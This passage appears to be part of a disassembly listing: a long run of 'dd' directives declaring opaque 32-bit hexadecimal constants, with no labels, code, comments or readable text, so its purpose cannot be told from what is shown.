dd 9DA75300h, 978E11Fh, 3175D0h, 2B6C903h, 250FD586h, 90D4DF04h
dd 4ACE92Bh, 9AAD0373h, 1044E01Eh, 0DBF492F5h, 0D8501C74h
dd 0AC9603FFh, 0E8E93D36h, 985C8022h, 0B1910053h, 0CBA09978h
dd 2B973453h, 198C440h, 0BC15F20Bh, 0E04CA6FDh, 0B34A35A5h
dd 0E73C9C00h, 1CF208B5h, 0F2B035Dh, 0E6231A4Eh, 401690DCh
dd 0B8607AD4h, 7CFCBC3h, 0A0F9C44h, 68A93970h, 0E200B8F1h
dd 0ECAD65Eh, 13B609D3h, 258061C7h, 0B898E0D2h, 0AA249B3Ah
dd 492844DBh, 0EB1438E7h, 0C0D85C9Ch, 0D30D76CFh, 0BE71258Dh
dd 280AB8E0h, 0B79EB6Bh, 0DFC448A4h, 563E4A77h, 4FD00F34h
dd 798F760Fh, 5FEA0F81h, 1038A711h, 738828C0h, 0FC6C0030h
dd 773F3BE1h, 90978603h, 8AF7A4h, 9DCE3578h, 42315CCAh
dd 56A0C03h, 0B0E42DC1h, 55E940Dh, 0EC7B4959h, 4E88F99Dh
dd 63A35420h, 587A7E4Dh, 44032018h, 0FF9B2EE8h, 31877EC9h
dd 28006C5Eh, 2C9808C6h, 66DE1480h, 0E04DE402h, 846492EBh
dd 4C408A30h, 890F88DEh, 0DD2BB300h, 0D7CA1B16h, 0EC96353Bh
dd 1524C3D0h, 0E3AE00F4h, 0BC61CE0h, 0C4C8525h, 5780D209h
dd 0A2099DE4h, 5BBF4801h, 0BBAF6A0Bh, 233B1880h, 4715C602h
dd 0DB5068EAh, 9648E898h, 9D690474h, 0DC80550Fh, 0B33390Ch
dd 0ABAA0542h, 0D816203h, 604724E0h, 0C758D704h, 0B800651h
dd 0C204777Eh, 526EC540h, 0B70BE101h, 0DF071984h, 34081D7h
dd 7C9AF0F9h, 9DBCC350h, 525BE118h, 189936A8h, 30F4518Ah
dd 41E66815h, 0A50C4EFEh, 0E8831B93h, 0BBEA804Ah, 4D7F2184h
dd 71BC2308h, 0ED6600EBh, 0E4638803h, 3DC38C40h, 0A9A32542h
dd 0AAFFB5C0h, 4580094Ch, 2CDAF943h, 8A742B0Eh, 0A3734538h
dd 80F8BC85h, 46883302h, 0B8E06B0Dh, 0CE5DB5E6h, 933D8598h
dd 83F1FC40h, 0B19DCFh, 4EDFE38Ch, 0BE363C94h, 8A78A800h
dd 348768B3h, 99A0902h, 2C87267Ch, 7083A9C9h, 8C8459h
dd 0A760F5F2h, 0C89D0809h, 0DD028265h, 621EAA03h, 0DECC4028h
dd 1787052Eh, 80385253h, 16E23BBCh, 84DC20C0h, 0A72FCE6Bh
dd 2B7F8820h, 0EBDF49C0h, 0DC2549C7h, 0B5356305h, 402CA5F8h
dd 0CC2DE97Ah, 36472500h, 0BA7017E2h, 75DA00E6h, 43710CF1h
dd 0D9121F9Bh, 0B4CC603Dh, 27995FEBh, 94640830h, 0FB684C20h
dd 976619C1h, 20069639h, 3D420487h, 9C783Eh, 1AEBD91Bh
dd 57281C5Ch, 695A981Ch, 0A89B80FDh, 0ECD818D7h, 0ED38001Bh
dd 99501AA5h, 910058E3h, 0D59425DAh, 0D691Eh, 5EB9661Dh
dd 0FD176B42h, 0A714900h, 10F445A1h, 0C2360189h, 4305E452h
dd 7EE57061h, 3AE6C400h, 0A7B949Ah, 0E7803B65h, 0BA632000h
dd 0A97D46ABh, 69D7F600h, 30D2F192h, 0CBEA008Bh, 0BF97B33Ch
dd 512CAD2Bh, 750017C6h, 0DB90B77Fh, 0A3CA0091h, 0E359FB3Eh
dd 24E09A06h, 14AE3900h, 50F27C67h, 0F1E800ABh, 3599EDDFh
dd 160FF3E3h, 607AB35Dh, 0EF72A940h, 0F68700E2h, 9AAB7D33h
dd 67004CA2h, 78B6858Ch, 3B44D2DEh, 43802769h, 756F980h
dd 0A6015F33h, 8AEA7152h, 0A0BA78AFh, 7DFF2680h, 99FC1928h
dd 0C45E6A2Ah, 1C8E8301h, 0D985778Ah, 0AE8B8881h, 486607EBh
dd 5030299Ch, 0C62A4880h, 0C81D109Fh, 440A3A11h, 941B003Ch
dd 0C7F247DEh, 0C400DDDFh, 20E3AFD7h, 7C13AE33h, 1EA83E68h
dd 64080A09h, 9E8C9780h, 5001EE17h, 9A58CE19h, 0D4E813B8h
dd 2A4B07F3h, 0B3866466h, 83ACE33Bh, 0ABC83869h, 0F200794Ah
dd 0ED744F9Fh, 1C609852h, 4E19115h, 0C01CD55Ch, 7C139FD0h
dd 0E4A87B00h, 1493F35Dh, 0FFED0316h, 0E9A40B42h, 4C6FB780h
dd 504C1C49h, 81006837h, 7871CB14h, 34EB0Ch, 7447C2F4h
dd 0B883FE89h, 8EF9170Fh, 4026E0ADh, 50FD9819h, 4474880Fh
dd 1B00A641h, 4826DF93h, 81FD28h, 371C6B32h, 1FE54B9Eh
dd 0C7799800h, 6AC448Fh, 457D0125h, 2B8B12F2h, 51B85751h
dd 0CE1EA0C7h, 3D200B24h, 0E200901Bh, 0D79B124Bh, 7870940h
dd 0CB9E1E79h, 80DD3414h, 0E191B53h, 7B144D48h, 80866B3Fh
dd 55942CAFh, 0EEEF459h, 53DF9990h, 0A09CD80h, 2900406Dh
dd 967201F6h, 39D5E2h, 0A5582CEAh, 12D7656Ah, 4DA9590Fh
dd 155BC0C4h, 0F770385h, 0A624AF9Ah, 4093443h, 1BB78090h
dd 0DD0E4E00h, 17A28D6Eh, 2FD000ABh, 28C97211h, 9DB8F8C2h
dd 6A0ED100h, 976E531Fh, 99260156h, 6250F7E2h, 0A524E4D4h
dd 0BB74FF00h, 0DBB5E8EEh, 0CFDE00F3h, 0CBD7D95Eh, 2F02120Ah
dd 673B28D2h, 0D1949075h, 43650216h, 1BF1A2B5h, 1AF77DE0h
dd 0D664AE03h, 0D8A75D13h, 126B589Fh, 41CEED8Eh, 779E83F0h
dd 0D2A9F8F6h, 0DEC33101h, 2708AA3Fh, 0FAE8140h, 101F2438h
dd 167A801Ch, 9EB13F69h, 35EE8C00h, 48B59263h, 0A7CEEE3h
dd 1A25D1B6h, 0E2A700C4h, 1F2D94CBh, 6748D67Fh, 0DD9A0089h
dd 102234C3h, 4C490EFh, 72833A16h, 0F8E8F01Ch, 0D5ED840Fh
dd 0B128E02Ch, 7B305F67h, 0BE780786h, 0F27F2768h, 61F714E8h
dd 47305218h, 89E0003Ch, 81A5E3C9h, 0BE58B0C2h, 0C4EB0332h
dd 0C83724E7h, 0B67E41h, 0D732ED0Eh, 8B22CF5Bh, 520C0200h
dd 9F5614A2h, 55D800CDh, 9419B89Dh, 0E404972Eh, 60E7D543h
dd 40676EC2h, 25D3B28h, 0F45FD236h, 0C840A485h, 3FF04840h
dd 9DB79E07h, 0DC90F211h, 8D2755h, 1DCC2C10h, 52495A14h
dd 3D04560h, 5CF624h, 2F10B350h, 0EC9AE57h, 0DAECE406h
dd 0C054E8h, 9B5811EEh, 0F28DBDACh, 68D5B200h, 0BBEC2603h
dd 0F55F0045h, 1FC56448h, 0C200FB93h, 0BAF38B27h, 0E8E534h
dd 0CE71E58h, 145BC8C0h, 0EA6AAB0Fh, 0B2A4C04Eh, 7126E951h
dd 0DF47003Fh, 9A1206C6h, 7800F4D8h, 0FF2CE49Bh, 0FE2107h
dd 0E69DA360h, 8F289554h, 0A50BB200h, 0FBB558DFh, 0B8EE058Bh
dd 0C02B0829h, 0D7BDC1FFh, 0F820A600h, 89CF4916h, 28E4009Eh
dd 0EBE5AC39h, 0D475633Fh, 629D1200h, 0DA9498C5h, 70F80031h
dd 971408C2h, 0B1644DBh, 4401D45Fh, 6B0F02BCh, 7762FFCh
dd 0DC7E698h, 1857030Ch, 0D65D06D0h, 0D4A6EB0Fh, 9BF740F0h
dd 569B2B0h, 38B9E0A8h, 0BE9AC05Eh, 72794633h, 0BB8C771Fh
dd 607D058Fh, 2BCAAF1Dh, 55EC0086h, 315911Ch, 3B1C1F12h
dd 78C017FBh, 72FFA7E0h, 0DA200DBh, 1396CD65h, 0D0005B07h
dd 59E5414Dh, 73DADCC4h, 0E0C700F4h, 3D89E384h, 467FA45Dh
dd 6917C01h, 0A922C378h, 1E28902Eh, 0A300BD30h, 95B45526h
dd 0B0B25229h, 0AA4A00C6h, 0A040FB8Ah, 3B000180h, 2D0F7A9Ah
dd 0DA6C8Ch, 0E3618121h, 0E8597818h, 19731316h, 0F20908Eh
dd 34E0AF0Bh, 6C888587h, 0CCB2F8ACh, 0EB60DD19h, 0D6272E78h
dd 109298DCh, 1895B177h, 3CE77E40h, 7907178Ch, 0CCC1783Ch
dd 91E0A221h, 0E04D5874h, 40362524h, 33B13B8h, 640DCCF3h
dd 9FE08278h, 5D768696h, 7B45C01h, 0F109A2AFh, 96B0CA2Fh
dd 0DA8078B3h, 1ADC7665h, 49DF0C00h, 0A1815BC0h, 35710Fh
dd 0C7985CD5h, 32C45FAEh, 0C2769D00h, 93BB69D6h, 88860166h
dd 0EE70E362h, 0C202A81h, 0CB2D8Eh, 0D56124E9h, 0C766B6Dh
dd 803AD23Ah, 91CD09BAh, 0D4390E17h, 4A7A3A30h, 0DE70900Fh
dd 23881BC4h, 26141D8Fh, 298540E4h, 42D71066h, 0EF7C900h
dd 82DF7138h
dd 0A89395EFh, 6F8C8F0h, 8C072400h, 942696A9h, 0C3A60704h
dd 77ED01BFh, 0E925005Dh, 13004753h, 772D7133h, 87C4FFh
dd 761F1832h, 211B4CD5h, 8AE63EE8h, 0EBE8A713h, 498174BCh
dd 6C23E108h, 3A3F8080h, 981ACDh, 0FFB5EBC5h, 0C50D0C6h
dd 12763408h, 3B160180h, 2AAB9DD9h, 379088h, 0F8568822h
dd 5DA9D378h, 2F710A3Dh, 67C807DCh, 9B430048h, 41D44B46h
dd 0FA0662ECh, 0EB6650CAh, 0F0048711h, 3F619404h, 0F18AE910h
dd 0EA4AD730h, 43591DFAh, 13D0C0CAh, 33A20469h, 0E8EB7A06h
dd 4529F2FEh, 512A3096h, 0BF72D813h, 8938FA00h, 0F863DCh
dd 0B7949C49h, 4ED750FDh, 97E83Dh, 8A51346Fh, 0B010F130h
dd 0DC84022Ah, 8347B39Eh, 4F4A1AC0h, 42AD0A00h, 0EEA86332h
dd 0BC7B074Eh, 433345F1h, 79807C6Bh, 2D00F5C2h, 167EB3F2h
dd 7AE817h, 42020C86h, 0F7A0E909h, 14543100h, 0A1434BA6h
dd 0CD400BB2h, 0D5DA7Eh, 62F0F8F2h, 506E0F11h, 0D8E0CA67h
dd 0D53ADF6Ch, 9F41F00h, 0B094E7B3h, 0BF4F303Ch, 0EC3B4920h
dd 0B873FB00h, 3828DF51h, 0A0A8A04Eh, 75D3758Eh, 0F00F008Dh
dd 5D42DBB7h, 2001F5AFh, 5C656ED7h, 0CEE44E59h, 7F7C00E9h
dd 0DBAE9C0Eh, 0AB74D83Eh, 9AEA0A00h, 98A917D0h, 854D4815h
dd 77367900h, 0C93D60F3h, 0E269320Eh, 151D80A9h, 1070B11h
dd 0C734C892h, 0F4C55E90h, 0E77F64E3h, 47C9C407h, 0EA64FA70h
dd 9F2C82BCh, 0F8490091h, 0A932AE9Ah, 18F05800h, 8814FCDAh
dd 1D69384Ch, 8B027F00h, 4B445D68h, 49FB510Eh, 2ADCC018h
dd 7840B31h, 0A088CDD3h, 39C9A0E8h, 6348D745h, 5E950330h
dd 0DAD68B32h, 0F98940C6h, 61F6058Ah, 0C0B249B5h, 0F47409C5h
dd 46716C00h, 504A8D6h, 0C5692E18h, 8B2A004Bh, 3EE59983h
dd 0EAF44B1Ch, 90E8A841h, 13E8090Fh, 0B69D1214h, 40001CF1h
dd 5AD0245Fh, 893F3654h, 0BFAC8019h, 2F8DC5BEh, 0C20E164Ah
dd 0C00EB3Eh, 55B7D837h, 35FE8Eh, 0FD54DA8Bh, 86098233h
dd 5A88100h, 3B605998h, 0E949000Eh, 0F6326AD5h, 6D0F90ABh
dd 0A0E577BBh, 8C1845CDh, 904Fh, 0D05FDEBFh, 0EDA29B7Ch
dd 0E05B490Eh, 221A004Eh, 0D1CA6Eh, 0CC9ED35Ch, 0CB0DF23h
dd 70785877h, 34609705h, 9841D88Dh, 329FEC89h, 21B020h
dd 0DE4EB83Bh, 0AF252E30h, 9CF7C807h, 40B0E854h, 13766E1h
dd 2773E376h, 208DAC6Eh, 0D23EA712h, 72B48C65h, 1229ADh
dd 0E9C1D699h, 336D02CDh, 0E08F04Dh, 80391E0Fh, 516A5337h
dd 2CDA095Eh, 756652h, 0CD32624Ah, 0AC9000B7h, 46FAB2CBh
dd 9900DB3Eh, 5C4F66EBh, 6B38E9Bh, 706D1B06h, 0D200593Dh
dd 59FE30DCh, 0C0CDE47Ah, 0F057ED48h, 13F8EFCCh, 0C707E00Bh
dd 2464F82Dh, 0B48C94h, 0B5176FAFh, 41011235h, 2C1C0BDFh
dd 0B7E4C990h, 78CB6070h, 0E1DBD359h, 689BF61Eh, 7620548h
dd 40EDA85Fh, 86909D8Eh, 50E4FE00h, 622C18B7h, 92CF0BB5h
dd 0EE807B28h, 51B61F37h, 0C8D5D600h, 9AE7D2B2h, 105700F9h
dd 0E3AECAC5h, 0B4007041h, 0C936DD7Eh, 0FA736034h, 2744011Ch
dd 2CD84D47h, 0E1B3209Fh, 760EB200h, 97D33F4Ah, 0DD320164h
dd 78E59CC7h, 6E0EE02h, 91016822h, 82614FA3h, 0B9B874BFh
dd 109CD381h, 0D869956Bh, 200954BEh, 11FD91h, 0B82C292Fh
dd 40895819h, 0C83FA00h, 0CCC3BAA9h, 0E8C684Ch, 203E1EAFh
dd 88D0FC72h, 9CE64876h, 9E89077Eh, 403FF408h, 29FEB899h
dd 9A8CE213h, 8E008412h, 0EBB67950h, 0C0CE0043h, 7F8328A4h
dd 7001B593h, 71D87BE7h, 14261DC7h, 0F47F84h, 0B3E02279h
dd 0A680019h, 0BF4271B6h, 0A100D2D0h, 8EF83049h, 76CC4FEh
dd 4AF7028Ch, 19C6EE5h, 1F96DDD0h, 7E3B00DCh, 19A71ED3h
dd 2C037A34h, 0BA5E9481h, 691E7DA0h, 0BD5D413Dh, 3C00FB9h
dd 6F9D2048h, 0E9A9A3C4h, 12E17464h, 0A7324Bh, 77EB6960h
dd 3F094D8Fh, 0D4DA15h, 8BCEC4ECh, 0C9EED7h, 69796D6h
dd 280144A2h, 30436904h, 0E9C1732Ah, 63CC93D1h, 0F2E400B4h
dd 94FEAC8h, 471F51A8h, 21B09E14h, 89FCC0h, 885F8D05h
dd 45222106h, 135C5BFCh, 3F6600EDh, 0A935650Ah, 0D5F40078h
dd 0D9AB1E4Eh, 0F000E322h, 73256706h, 0BECC70Dh, 0A192885Ch
dd 4CF4303h, 7752FE8h, 37205800h, 2B6632A3h, 0FC72D9h
dd 601D292Eh, 9FDB85F5h, 3002B409h, 71302024h, 55BD5Dh
dd 0CB3C9588h, 0A3443DC5h, 6400B775h, 0CD632C8Ah, 601A98h
dd 77E29BCFh, 4E4893D7h, 52ADC91Dh, 34A3C740h, 7CB1F55Ah
dd 0CCEA00E9h, 0C413A5F0h, 0E1EA0DBh, 0FFC26F04h, 6865FECFh
dd 5D17E304h, 0CA0E404Ch, 0C8470587h, 0E1834077h, 40F961BBh
dd 623CE308h, 17061780h, 401487B9h, 0B0C07150h, 1D3BA8FDh
dd 30FF28BFh, 84AFD900h, 3F5B6ABBh, 0BECD0092h, 0A990564Dh
dd 0F401C249h, 0B22ADAE2h, 5887B6FBh, 0B5DCC8AEh, 0DB4C101Dh
dd 0CE92840h, 0EC572DA6h, 0EA057208h, 6602CF0Bh, 602B6808h
dd 68870627h, 136E2900h, 0EC1A8441h, 0F48A3099h, 0E5A740B8h
dd 447A6003h, 80344EC4h, 0FA2B2EB2h, 87290004h, 762CFEDEh
dd 0E3006361h, 16343F26h, 9F83E1h, 0B26AADD7h, 0BE9AA114h
dd 768A0A00h, 0ACF722AAh, 80B00F9h, 83D0CA23h, 0DB07585Eh
dd 0FB75805Dh, 0D6EB4930h, 77CD0F65h, 0E0E00E41h, 0A2BF5DE1h
dd 0A6C52105h, 6780DF49h, 0AD87Ch, 1A104C2Ch, 0F9262F8Fh
dd 0D503BF00h, 0FD12DF5Ah, 950B00A5h, 7D4AE940h, 600D13Bh
dd 0C88BFE0Ch, 4E323Ch, 0BBF25326h, 0E42029E1h, 3075EF02h
dd 80EC6F4Ah, 0B57CC29Ch, 0DE8917DBh, 19AA1832h, 0C7004FEDh
dd 0CEDD8A3Eh, 24F66235h, 805C21CCh, 4BF3E6FDh, 0A01C690Bh
dd 9840CAE9h, 6FB734B3h, 7818C039h, 41FA19CCh, 523C497Ch
dd 6B760F61h, 71A80043h, 154B036Ch, 0DC106011h, 4EBEB400h
dd 613C9346h, 0F60FB5E4h, 1A9BFA2h, 32CC1DE3h, 0EB62883h
dd 1806DFFBh, 2A870DE9h, 86500399h, 66BA9C61h, 0E6A66801h
dd 69071DF0h, 18A770D4h, 0A04CBFB6h, 4264436Ah, 8B412F80h
dd 80DD1ABDh, 5D82D658h, 0CE5CFF4h, 0F2970D41h, 5F038F18h
dd 0DD8CBB27h, 0C2EAD342h, 0B694A02Ch, 9A4E253h, 0D0E73368h
dd 9C2278AEh, 4881671Eh, 806A237h, 802B719Eh, 0BE308A6Ch
dd 0A8C0C812h, 7E8C4E2h, 431E6CE0h, 0A4819F67h, 0F58DCC77h
dd 0F6AA7820h, 0CC135427h, 0F78730B4h, 0B961C918h, 59C03FF4h
dd 0E629DC23h, 0D8D548AAh, 0BF25C20Eh, 81211B8Ch, 4229D300h
dd 0C02FE644h, 11EC005Dh, 77EAA699h, 84A12C10h, 23470D7h
dd 21AC4D54h, 0B2A45B00h, 0DF057FC8h, 3809CCC0h, 740F0121h
dd 0A05541A4h, 0FC9449BAh, 37B331E6h, 84E5D7B0h, 6E418128h
dd 0AC478F84h, 0BF00E4CBh, 0E1FD563h, 200D6C66h, 0A021C88Ch
dd 0F900FC70h, 4A63D011h, 0EE69DE38h, 0BD8A0A89h, 30ACE43Ah
dd 19E243D9h, 7F277606h, 0F7812A3h, 616E9BE6h, 0BB2394D5h
dd 0F829DA00h, 86BF25AAh, 3A831644h, 0E30329D1h, 0EC68A0E6h
dd 5880BD90h, 0A1F74A31h, 3AD86487h, 0DD6D0174h, 29E6D267h
dd 29E2DE61h, 18D4A411h, 0B0A40859h, 0F706FC8h, 17A40172h
dd 47DD100Eh, 0E6B88719h, 20E922BBh, 5C01A1BCh, 379E00CAh
dd 622DEEECh, 0C600203Ah, 3464F8F0h, 408A0Ch, 575A48DAh
dd 67397CEFh, 0D489BF00h, 0AE5B3C2Dh, 34C10086h, 1D9A7578h
dd 0DC3AB772h, 0F4459FD5h
dd 49690FC0h, 0EEECAC41h, 833C0037h, 68C91AFFh, 56387F08h
dd 0E90F00C3h, 0B811F50Ah, 0BA5700ABh, 642893A8h, 3006030h
dd 4D1EECE8h, 3BF86F9h, 4F1C378Eh, 0D3D85532h, 6B1EF6B3h
dd 0F70052EBh, 5C480C0h, 0C8678B1h, 315309B8h, 0BF014A9Ch
dd 0C758475Dh, 0C0DB255Ah, 0D415044h, 0BC0869FCh, 0B0040C31h
dd 1025AF30h, 61BA54h, 0C7729E58h, 50552411h, 85A51B00h
dd 4DC3B0A2h, 540A0CE0h, 0FB296ED5h, 0A8302284h, 9611DF42h
dd 42F216Ah, 4863C51h, 0CD424E6Bh, 3025939h, 22802412h
dd 26231007h, 28413789h, 33123968h, 113BC312h, 11106B29h
dd 4F102145h, 8E350053h, 58CC5FFAh, 1BDCF1B4h, 6F481F73h
dd 0D8A80DAh, 185F098Dh, 0CF3F2200h, 11FA7DF8h, 14372B7h
dd 73154B45h, 30D70993h, 0DC0264B4h, 0CDF271E0h, 1CDF40DBh
dd 63D400B8h, 14F3E870h, 0E900DE72h, 3C7401Ah, 0C4105h
dd 6B13770Fh, 730A0660h, 0F5C4923Fh, 58844B00h, 0E481ECEh
dd 15C5C8Ah, 2F857600h, 3049F4D5h, 0E858AD03h, 0C80D5B03h
dd 32EE986h, 6A7F0E80h, 0ADC09095h, 99008A4Dh, 2998BEB8h
dd 5C109C1Fh, 371232EBh, 0D3044012h, 5DE0F8A3h, 0A6DB263Bh
dd 0CB00008Bh, 1480287Dh, 7531CCAh, 925643C3h, 23D070ECh
dd 2E3E60BDh, 94958055h, 0D5C509Eh, 99851D04h, 5AAECF6Bh
dd 0F356EF00h, 20F6B94Ch, 0A8B1A500h, 269E406Ah, 0C1591279h
dd 444400BBh, 0FDFAE99Bh, 0A33CFF00h, 0B28C9EACh, 4A8B0009h
dd 0A0DD157Ch, 45070644h, 12245E6Ah, 0F2605790h, 77A30CEh
dd 0EE3A7418h, 2EF9E200h, 40B84481h, 0DA3E00CBh, 91362AC3h
dd 407D72Dh, 0C4E03C90h, 0E2BB9640h, 29A001F6h, 3128513Bh
dd 0B8CCD88Eh, 9ECB5300h, 228FAA09h, 2A5C018Bh, 10D1981h
dd 5033F842h, 18CCD4EFh, 86D26303h, 0E0A72D11h, 1764AB0h
dd 6427714Eh, 0EA9E29B6h, 22098880h, 0BF7EAE6Fh, 0DE00D278h
dd 27994382h, 0BBDF7Dh, 0C7B0FDA2h, 8532D9Ch, 3EB20D01h
dd 0DD7650BCh, 795DFAD0h, 88941F57h, 0E028D6h, 77245539h
dd 376813EDh, 0A7D4B900h, 0E89379F8h, 387BB7h, 230F4A31h
dd 64E3A8E9h, 0A4693C00h, 5E267D24h, 0BF7BE6h, 32EFBE34h
dd 13A1B90Fh, 1EB49100h, 6B58CF9h, 734E02D6h, 0A21A9946h
dd 7942184Ah, 1827F420h, 0CD00DC74h, 319AEDBCh, 3042DE57h
dd 5220ADDBh, 0C1009997h, 0C5552337h, 90566D72h, 8D012A40h
dd 0AC6301F4h, 5FD976FFh, 7EE6E07Bh, 0A3D08909h, 0D6480154h
dd 82C0600Ch, 0E99C00CFh, 0FD554549h, 7F3FFED5h, 0D00800BCh
dd 0A8D3B9C8h, 0E1BB00F4h, 54940EEAh, 0C12407DCh, 803CDA46h
dd 0A14CA71Ch, 68CBDEEh, 0C2F77119h, 0DC03180Ch, 0ACD2063h
dd 0E212D88Fh, 0AE85073Bh, 97B13192h, 5CC00C4h, 4400CB9Dh
dd 43A5261Bh, 12A3969Ch, 7B756E7h, 30653F68h, 61276930h
dd 0E2BCE300h, 0A3EBA121h, 27F7BF4h, 8749AF6Ah, 2C40F55Eh
dd 0EA15A43Ah, 84FAC1h, 2B6E21A0h, 0F0F374h, 103E7886h
dd 0BE844ACEh, 920034FAh, 16D754Bh, 880AB1h, 77178BC2h
dd 0ABD5FEC7h, 6108D700h, 9BD0B309h, 1D4607C4h, 808A1B17h
dd 573A9FFDh, 38033200h, 47D46D6Ch, 91420085h, 56999E35h
dd 6200F6E4h, 9B2077A5h, 3DE59Ch, 0C49FC8Dh, 9F1544A1h
dd 0C30006ECh, 0BD5CD81Bh, 3DF8B31Eh, 4080F6FBh, 5289187Dh
dd 80F9CF0h, 52D42114h, 0BD97F842h, 0A80F602Ah, 0B5801FC5h
dd 19F0095Fh, 0D2FBE400h, 0D7002B84h, 39D36605h, 0A4C308h
dd 3FAF0A01h, 52B5B9BFh, 0A2F5D701h, 3B6FD82Fh, 65A8430h
dd 3218AB14h, 880E103Ch, 765554h, 0A8C545B9h, 3C20F942h
dd 388330C7h, 59580671h, 7CADC000h, 0A5D521DCh, 1C3EEC91h
dd 0C06C072Fh, 59085D5Eh, 66040930h, 0F48AD121h, 3A8ACC6h
dd 0DD7CF5EBh, 51D84C3Eh, 1F00C0C9h, 72A710C4h, 4BE334h
dd 0EF389339h, 0E27EEB89h, 3AD37801h, 10855467h, 9C00FDCh
dd 5973D4D8h, 807DC88Bh, 0B0D705BAh, 0D8115848h, 8D13DB00h
dd 0A078018Eh, 0B2809E60h, 795AAF59h, 0B10C750h, 922910BDh
dd 0A613E82Fh, 0F44126D6h, 0AB892E46h, 0BEC47831h, 0AED09B0h
dd 0E8193327h, 9C80C2A4h, 3822BFAFh, 84C0EE00h, 7EC30903h
dd 14BC4C1Bh, 0C902A106h, 233B70AFh, 922A9841h, 3932EB11h
dd 7580A3B7h, 792BE21Eh, 9F50A25Bh, 0FB712DFCh, 4C173500h
dd 0F89EC034h, 0B6160F98h, 1FD35AA2h, 79230084h, 99C8DE5Fh
dd 2C5C58h, 0E18FD6A4h, 900A7Ch, 0D54DCA25h, 0DCBADD48h
dd 98267913h, 0E9856D00h, 0E2F5B530h, 1B1900BEh, 39A50238h
dd 600BD5Fh, 0F4620756h, 6E16B1h, 0FA65E5DAh, 0DB69ED33h
dd 0C197B600h, 6A432956h, 0F9933BF2h, 0D4ADA780h, 0C8C72CAFh
dd 34243300h, 4F68FBD2h, 668A00A1h, 0A9819132h, 0E000834Ch
dd 0CBA4A22Ah, 0E9926Ch, 0A37AFC93h, 429A99EAh, 0C8541A28h
dd 1F007548h, 0F5010D1Fh, 0B35BCDCAh, 0A530AFF1h, 0CE4E3949h
dd 0F7591E80h, 0BE388E70h, 0F6D13A00h, 8B060883h, 44B30E57h
dd 0CAC1184Ah, 70D31BA3h, 1A210D40h, 1CE1609h, 0C43AD0F5h
dd 0D5A4204Dh, 8E8C6000h, 0AB4A8F57h, 16200AAFh, 0E0A1E9h
dd 4784177Ah, 5B07D930h, 0ED8CCB93h, 1821E8A6h, 481D5D89h
dd 577643B4h, 2CDFA803h, 0D0268215h, 0E08A3CF9h, 30B163DAh
dd 71D17AD3h, 56B3F714h, 94ED7CA0h, 0B064B30Fh, 8BBDE0FBh
dd 396CE87h, 5DD97015h, 2806352Ah, 0FCD3122Ch, 9380A1F2h
dd 0D540C00Ch, 41091ED2h, 0DE5E8118h, 80DC5664h, 7CC55018h
dd 3EC97F28h, 9D124D46h, 7C87CCh, 17AEA96Fh, 144920FFh
dd 6AAD11Ch, 8001AD3h, 74C5A3ECh, 0DA92440h, 0C6B40588h
dd 0AEFC0029h, 1DFCB055h, 0C3BD9101h, 1021F47Ch, 0CA895880h
dd 0A04EDA04h, 0D992C500h, 875386E1h, 0E85A1423h, 0AB1E9844h
dd 97478126h, 0EC08934Eh, 0C600D20Bh, 8711CB03h, 2E4581D4h
dd 1A48F5Bh, 3BFEADD0h, 0D444DA10h, 394F2600h, 23EA20D4h
dd 17587E07h, 6B6644h, 6FB5ED4h, 0E6006A3Eh, 2055635Bh
dd 3ABA4Dh, 7FD6BDA8h, 8497A2D9h, 9BAEDD0Eh, 2AFFC0E8h
dd 4CAFC48h, 0A90ACC86h, 7675807Bh, 9500DD7Ah, 0F44E94DCh
dd 369126h, 2286C1CAh, 0C78110D3h, 7017498h, 0B494C0F0h
dd 0E87044F1h, 0E10E03DDh, 0A2895285h, 8BC80AA3h, 0C87BB69Ch
dd 94F16C01h, 0C02B08E8h, 0CE6420h, 79A10D2Fh, 4182CBD2h
dd 0A912C400h, 8C6B8718h, 0BE6400F7h, 0FE17F995h, 422896C1h
dd 600BC07h, 0C06A9F4Dh, 5C8C7Ch, 4FC96209h, 0D8C3C4B7h
dd 153A5809h, 0DD781055h, 0B8C10047h, 438A04F7h, 3A0088BEh
dd 3B930D56h, 76CB8FA9h, 0FBC1D01h, 8B03BCE7h, 4DA0F7BBh
dd 0A4060EA8h, 7F1FDC00h, 0F3AB48F0h, 590F00DEh, 0E2ACC1C8h
dd 0CF24EC97h, 0E100FE3Bh, 8F2C169Dh, 0F4C90EFh, 4FB3FFE8h
dd 4E074CA0h, 940028BAh, 23EB65F7h, 7963C2Ah, 0BC998C11h
dd 251D2087h, 183F067Bh, 0D36F00AFh, 3E6CA644h, 4CB9000Ch
dd 1A8FCBAh, 72034E2Dh, 296AFD77h, 173EA8A4h, 0E6B7021Eh
dd 26F188A6h, 7ACCFA60h, 44F9100h, 0D129BB33h, 5AD31D13h
dd 0F04000A4h, 8B59BDA6h, 483C800h, 9656815Eh, 8C5C1F95h
dd 11530CE5h, 0EE375528h, 1C9E477h, 0EFDA4F2h, 9B02ED40h
dd 0B959002Fh, 0DADE55F4h, 0E601B629h, 0BF5A120Ah, 0A1FCD210h
dd 0D8AA0068h, 0E423763Bh
dd 0EF076775h, 0F34B7ECh, 9715606Eh, 0D41970h, 48DBA302h
dd 7C21FC2Eh, 0BB00B7E8h, 7E989E1Ch, 0DEC005h, 4A30A96Ch
dd 29FEBDEDh, 0B25ACD01h, 0E7BCB308h, 58180170h, 0D70004A3h
dd 0F02A821Ah, 360040EBh, 9008FD91h, 0A8BCD628h, 172B51DCh
dd 0C65287h, 46226C39h, 1802D2DCh, 359E6255h, 4FF58021h
dd 0E7A732h, 5C116DEEh, 0FAF7F4C4h, 4800B3E2h, 0CF7751BEh
dd 9FA0B763h, 0F6008650h, 6AC9298Dh, 4D626D7h, 404C8C64h
dd 3CCE091h, 6557B104h, 60A4A20Fh, 70C25D25h, 72CDBD00h
dd 0B4E6B129h, 0DB39617Ah, 0F7066094h, 1F082048h, 0A43E6B35h
dd 1E5026E6h, 9A79F55h, 0DC8023C5h, 0AE385BBEh, 0A330B000h
dd 0B92E9547h, 27597287h, 58006E17h, 0C5F6D344h, 0D11A5Ch
dd 69801B16h, 5AA44Dh, 0F872390Dh, 0BE37C7B1h, 9266C90h
dd 0E301EFD1h, 0B20CF0B7h, 0E8F7C7DBh, 0FD782310h, 20BD0706h
dd 0CE851AE2h, 80F1F2A5h, 4D75A481h, 0C7B3B800h, 0BBBE6D38h
dd 5B140049h, 0CC5DE1BFh, 6306C103h, 1BEF4547h, 0F24E0328h
dd 51C2CB53h, 0ECAE88C0h, 7D853D00h, 9669CE13h, 97EA0075h
dd 0E7DC0232h, 0DD012B5Eh, 0AA4620CBh, 0A02E5BE3h, 0D21339E1h
